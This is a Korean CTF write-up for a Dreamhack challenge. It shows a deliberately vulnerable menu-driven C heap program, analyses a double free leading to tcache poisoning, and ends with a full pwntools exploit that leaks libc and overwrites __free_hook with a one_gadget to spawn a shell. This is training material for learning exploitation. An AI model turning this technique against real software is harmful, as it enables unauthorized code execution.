code
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
checksec
- NX와 FULL RELRO 보호 기법이 적용되어 있으므로 셸코드를 실행하기 어렵고, GOT 오버라이트 공격도 수행하기 어렵다.
- 따라서 훅을 덮는 공격을 해야할 것 같다.
코드 분석
- 한 청크를 Double Free하여 free list인 tcache에 중복으로 연결된 상태를 만든 후, 재할당하여 할당된 청크이면서 free list에 존재하는 청크로 만들어 Tcache Poisoning 공격을 수행할 수 있다.
- 그 상태에서 임의 주소에 청크를 할당한 후 값을 쓰면 임의 주소 쓰기가 가능하고, 임의 주소에 청크를 할당한 후 값을 읽으면 임의 주소 읽기가 가능하다.
exploit
설계
- 임의 주소 읽기로
libc
가 매핑된 주소를 알아내면 __free_hook
또는 __malloc_hook
의 주소를 알아낼 수 있고, 임의 주소 쓰기로 해당 주소에 원 가젯 주소를 덮어쓰면 된다.
1. Tcache Poisoning
- 임의 주소 읽기 및 쓰기를 위해 Tcache Poisoning을 사용할 것이다.
- 적당한 크기의 청크를 할당하고,
key
를 조작할 뒤, 다시 해제하면 Tcache Duplication이 가능하다.
2. Libc leak
- 예제를 살펴보면
stdin
을 setvbuf
함수에 인자로 전달하는데, 이 포인터 변수는 libc
내부의 IO_2_1_stdin
을 가리키고 있다. 따라서 이를 읽으면, 그 값을 이용해 libc의 주소를 계산할 수 있다.
- 이 포인터들은 전역 변수로서
bss
에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다. Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.
3. Hook overwrite to get shell
- Libc가 매핑된 주소를 구했다면, 그로부터 원 가젯의 주소와
__free_hook
의 주소를 계산할 수 있다.
- 다시 Tcache Poisoning으로
__free__hook
에 청크를 할당하고, 그 청크에 적절한 원 가젯의 주소를 입력하면 free
를 호출하여 셸을 획득할 수 있을 것이다.
최종 exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 15705)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size, content):
p.sendlineafter(b'4. Edit\n', b'1')
p.sendlineafter(b'Size: ', size)
p.sendafter(b'Content: ', content)
def free():
p.sendlineafter(b'4. Edit\n', b'2')
def print():
p.sendlineafter(b'4. Edit\n', b'3')
def edit(data):
p.sendlineafter(b'4. Edit\n', b'4')
p.sendafter(b'chunk: ', data)
# double free 가능한 chunk 만들기
alloc(b'48', b'dreamhack')
free()
edit(b'B' * 8 + b'\x00')
free()
# stdout의 주소를 가리키는 포인터 주소를 tcache에 대입 *(*stdout) = _IO_2_1_stdout
addr_stdout = e.symbols['stdout']
alloc(b'48', p64(addr_stdout))
alloc(b'48', b'BBBBBBBB') # 이제 chunk의 위치는 addr_stdout
alloc(b'48', b'\x60') # 이제 chunk의 위치는 addr_stdout이 가리키는 주소 _IO_2_1_stdout
print()
p.recvuntil(b'Content: ')
# libc_base와 one_gadget 찾기
stdout = u64(p.recvn(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
og = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = lb + og[1]
free_hook = lb + libc.symbols['__free_hook']
# double free 가능한 chunk 하나 더 만들기
alloc(b'64', b'AAAA')
free()
edit(b'A' * 8 + b'\x00')
free()
alloc(b'64', p64(free_hook))
alloc(b'64', b'AA') # 현재 chunk는 free_hook에 위치
alloc(b'64', p64(one_gadget)) # free_hook이 가리키는 값을 one_gadget으로 바꾸기
free() #free->one_gadget
p.interactive()